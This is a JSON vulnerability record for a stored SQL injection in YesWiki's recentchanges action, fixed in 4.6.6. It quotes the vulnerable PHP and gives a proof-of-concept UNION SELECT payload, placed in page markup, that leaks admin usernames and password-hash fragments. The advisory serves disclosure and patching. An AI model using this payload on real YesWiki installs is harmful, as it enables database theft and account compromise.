{"id":"CVE-2026-52763","aliases":["GHSA-89v6-j5x6-cmj3"],"url":"https://o3.security/vulnerability/CVE-2026-52763","summary":"YesWiki: SQL injection via the `recentchanges` action `period` argument leading to arbitrary DB read","details":"### Summary\n\nThe `recentchanges` action (`actions/recentchanges.php`) accepts a `period` argument from two disjoint parameter spaces: the URL query string (`$_GET['period']`) and the action invocation `{{recentchanges period=\"...\"}}`. A whitelist at line 17 validates only the URL form against `['day','week','month']`. The action-argument form takes the `else` branch at line 33 (`$dateMin = $this->GetParameter('period')`) with no validation, and the value flows into `PageManager::getRecentlyChanged()` (`includes/services/PageManager.php:196`), where it is interpolated into a `WHERE time >= '...' ORDER BY time DESC` clause without escaping or parameterization. UNION-based injection succeeds, the leaked rows render into the response page via `actions/recentchanges.php:43,58` (`ComposeLinkToPage($page['tag'])`), so any visitor of the trigger page sees the exfiltrated data.\n\nThe vulnerability provides arbitrary read of the YesWiki database to anyone who can save the trigger page. On a default install (`default_write_acl='*'`), this includes anonymous users, subject to the hashcash JS check on the page-edit form. Once the trigger page is saved, every subsequent view fires the injection as the SQLi is stored. Stored SQL injection is reachable through the page-edit flow, with arbitrary database read.\n\n### Details\n\nTwo issues compose the vulnerability.\n\n1. `actions/recentchanges.php` line 33 reads the action argument and skips the whitelist.\n\n   ```php\n   if (isset($_GET['period']) && in_array($_GET['period'], ['day', 'week', 'month'])) {\n       switch ($_GET['period']) {\n           case 'day':   $d = strtotime('-1 day');   $dateMin = date('Y-m-d H:i:s', $d); break;\n           case 'week':  $d = strtotime('-1 week');  $dateMin = date('Y-m-d H:i:s', $d); break;\n           case 'month': $d = strtotime('-1 month'); $dateMin = date('Y-m-d H:i:s', $d); break;\n       }\n   } else {\n       $dateMin = $this->GetParameter('period');   \n   }\n   ```\n\n   `Wiki::GetParameter()` (`includes/YesWiki.php:895`) reads `$this->parameter[$key]`, which is populated from the `{{action key=value}}` argument list — disjoint from `$_GET`. The whitelist's `if` branch only runs when `$_GET['period']` matches one of three exact values; in every other case the `else` branch reads the action argument with no validation, no escaping, no DateTime parse, no regex. The two parameter spaces are independent.\n\n2.  In `includes/services/PageManager.php`, `PageManager::getRecentlyChanged()` interpolates the value into SQL.\n\n   ```php\n   public function getRecentlyChanged($limit = 50, $minDate = ''): ?array\n   {\n       if (!empty($minDate)) {\n           if ($pages = $this->dbService->loadAll(\n               'select id, tag, time, user, owner from' . $this->dbService->prefixTable('pages')\n               . \"where latest = 'Y' and comment_on = '' and time >= '$minDate' order by time desc\"\n           )) {\n               return $pages;\n           }\n       }\n   }\n   ```\n\n   `$minDate` is interpolated raw into the query and there is no `$this->dbService->escape($minDate)` and no parameter binding and no format check.\n\nThe default action ACL for `recentchanges` is `*` (`includes/YesWiki.php:1100`, `GetModuleACL`), so `Performer::CheckModuleACL('recentchanges', 'action')` returns `true` for everyone. The injection runs whenever a viewer reaches a page that embeds the action with a malicious `period` argument.\n\n### PoC\n\nDefault fresh install so `default_write_acl='*'`.\n1. place the SQLi payload on a page\n\n```\n{{recentchanges period=\"2000-01-01' UNION SELECT 9999 AS id, CONCAT('LEAK_', name, '_', SUBSTRING(password,1,32)) AS tag, NOW() AS time, name AS user, name AS owner FROM yeswiki_users WHERE name='AdminUser' -- \"}}\n```\n\nThe five UNION columns match the `id, tag, time, user, owner` projection that `getRecentlyChanged` selects. The `tag` column is rendered into the response as a hyperlink, exfiltrating the leaked data.\n\n2. anyone visits the page\n\n```http\nGET /?<TriggerPage> HTTP/1.1\nHost: target.example\n```\n\nThe injected query executes server-side; the `tag` column is rendered into the page in `actions/recentchanges.php:43,58` via `ComposeLinkToPage($page['tag'])`.\n\n### Impact\n\nArbitrary read of any DB column the application's MySQL user can access.","published":"2026-09-04T23:39:53.622Z","modified":"2026-10-21T02:58:27.408814056Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},"epss":{"score":0.00224,"percentile":0.13126,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"yeswiki/yeswiki","fixedVersion":"4.6.6"}],"fix":{"url":"https://github.com/YesWiki/yeswiki/commit/5da27474c3ee62270c8a6b9d7055d494cdbd38e5","label":"YesWiki/yeswiki@5da2747"},"references":[{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/releases/tag/v4.6.6"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/52xxx/CVE-2026-52763.json"},{"type":"ADVISORY","url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-89v6-j5x6-cmj3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-52763"},{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/commit/5da27474c3ee62270c8a6b9d7055d494cdbd38e5"},{"type":"PACKAGE","url":"https://github.com/YesWiki/yeswiki"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:58:27.408814056Z"}}